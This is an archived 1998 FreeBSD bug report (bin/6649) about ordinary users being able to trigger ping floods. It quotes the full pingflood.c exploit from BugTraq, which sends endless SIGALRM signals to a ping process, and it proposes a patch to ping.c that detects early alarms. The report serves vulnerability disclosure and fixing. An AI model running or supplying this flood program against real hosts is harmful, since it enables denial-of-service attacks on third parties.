Skip site navigation (1)Skip section navigation (2)
Date:      Fri, 15 May 1998 19:52:22 -0500 (CDT)
From:      doogie@forbidden-donut.anet-stl.com
To:        FreeBSD-gnats-submit@FreeBSD.ORG
Subject:   bin/6649: normal users can initiate gigantic ping floods
Message-ID:  <19980516005222.1C21F09824@forbidden-donut.anet-stl.com>

next in thread | raw e-mail | index | archive | help

>Number:         6649
>Category:       bin
>Synopsis:       normal users can initiate gigantic ping floods
>Confidential:   no
>Severity:       critical
>Priority:       high
>Responsible:    freebsd-bugs
>State:          open
>Quarter:
>Keywords:
>Date-Required:
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Fri May 15 17:50:01 PDT 1998
>Last-Modified:
>Originator:     Jason Young
>Organization:
ANET St. Louis
>Release:        FreeBSD 2.2.6-STABLE i386
>Environment:

All *BSDs to my knowledge.

>Description:

A normal user can initiate a gigantic ping flood by flooding a running
ping process with SIGALRMs. 

>How-To-Repeat:

This code was posted to BugTraq.

Date: Thu, 9 Apr 1998 13:03:04 +0200
From: AntireZ <md5330@MCLINK.IT>
To: BUGTRAQ@NETSPACE.ORG
Subject: pingflood.c

/*

   pingflood.c by (AntireZ) Salvatore Sanfilippo <md5330@mclink.it>
   enhanced by David Welton <davidw@cks.com>
   I tested it only on Linux RedHat 4.1 and 5.0.
   David Welton tested it on Debian GNU/Linux and OpenBSD reporting
it           works.


   This program is free software; you can redistribute it and/or modify
   it under the terms of the GNU General Public License as published by
   the Free Software Foundation; version 2 of the License.

-------------------------------------------------------------------------

   pingflood.c allows non-root users to 'ping flood'.

   use it as follows:

        pingflood <hostname>

   WARNING: this program is only for demonstrative use only. USE IT AT
YOUR
            OWN RISK! The authors decline all responsibility for
            damage caused by misuse of the program.

   ***   if you use this program to cause harm to others, you are very
small, petty and pathetic.    ***

   to compile: gcc -o pingflood pingflood.c


-------------------------------------------------------------------------

   TECHNICAL NOTES

   When ping runs it normally sends an ICMP ECHO_REQUEST every second.
   It accomplishes this using the alarm system call and waiting for a SIGALRM
   signal from the kernel.
   Pingflood simply sends a lot of SIGALRM signals to the ping process.
   It can do this because the ping process is owned by the user.


Salvatore Sanfilippo

*/

#include <signal.h>

#define PING "/bin/ping"

main( int argc, char *argv[] )
{
  int pid_ping;

  if (argc < 2) {
    printf("use: %s <hostname>\n", argv[0]);
    exit(0);
  }

  if(!(pid_ping = fork()))
    execl(PING, "ping", argv[1], NULL);

  if ( pid_ping <=0 ) {
    printf("pid <= 0\n");
    exit(1);
  }

  sleep (1);  /* give it a second to start going  */
  while (1)
    if ( kill(pid_ping, SIGALRM) )
      exit(1);
}

>Fix:

My suggested patch. It's had MINIMAL TESTING ONLY. Other fixes or comments
welcome.
	
*** ping.c	Fri Mar  6 07:07:12 1998
--- ping.c.new	Fri May 15 19:40:23 1998
***************
*** 158,167 ****
--- 158,168 ----
  double tsumsq = 0.0;		/* sum of all times squared, for std. dev. */
  
  volatile sig_atomic_t finish_up;  /* nonzero if we've been told to finish up */
  int reset_kerninfo;
  volatile sig_atomic_t siginfo_p;
+ volatile time_t lasttime;
  
  static void fill(char *, char *);
  static u_short in_cksum(u_short *, int);
  static void catcher(int sig);
  static void check_status(void);
***************
*** 209,218 ****
--- 210,220 ----
  
  	setuid(getuid());
  	uid = getuid();
  
  	preload = 0;
+ 	lasttime = 0;
  
  	datap = &outpack[8 + sizeof(struct timeval)];
  	while ((ch = getopt(argc, argv, "I:LQRT:c:adfi:l:np:qrs:v")) != -1) {
  		switch(ch) {
  		case 'a':
***************
*** 518,540 ****
  static void
  catcher(int sig)
  {
  	int waittime;
  	struct sigaction si_sa;
  
! 	pinger();
  
  	if (!npackets || ntransmitted < npackets)
  		(void)alarm((u_int)interval);
  	else {
- 		if (nreceived) {
- 			waittime = 2 * tmax / 1000;
- 			if (!waittime)
- 				waittime = 1;
- 		} else
- 			waittime = MAXWAIT;
- 
  		si_sa.sa_handler = stopit;
  		sigemptyset(&si_sa.sa_mask);
  		si_sa.sa_flags = 0;
  		if (sigaction(SIGALRM, &si_sa, 0) == -1) {
  			finish_up = 1;
--- 520,551 ----
  static void
  catcher(int sig)
  {
  	int waittime;
  	struct sigaction si_sa;
+ 	time_t timenow;
  
! 	if (nreceived) {
! 		waittime = 2 * tmax / 1000;
! 		if (!waittime)
! 			waittime = 1;
! 	} else
! 		waittime = MAXWAIT;
! 
! 	/* Die if SIGALRM is caught earlier than it should have been. This
! 	 * is usually the result of someone sending thousands of SIGALRMs
! 	 * in an attempt to simulate a ping -f (flood).
! 	 */
! 
! 	if(time((time_t *)&timenow) < lasttime + waittime) exit(0);
! 	lasttime = timenow;
  
+ 	pinger();
+ 	
  	if (!npackets || ntransmitted < npackets)
  		(void)alarm((u_int)interval);
  	else {
  		si_sa.sa_handler = stopit;
  		sigemptyset(&si_sa.sa_mask);
  		si_sa.sa_flags = 0;
  		if (sigaction(SIGALRM, &si_sa, 0) == -1) {
  			finish_up = 1;
>Audit-Trail:
>Unformatted:

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-bugs" in the body of the message



Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?19980516005222.1C21F09824>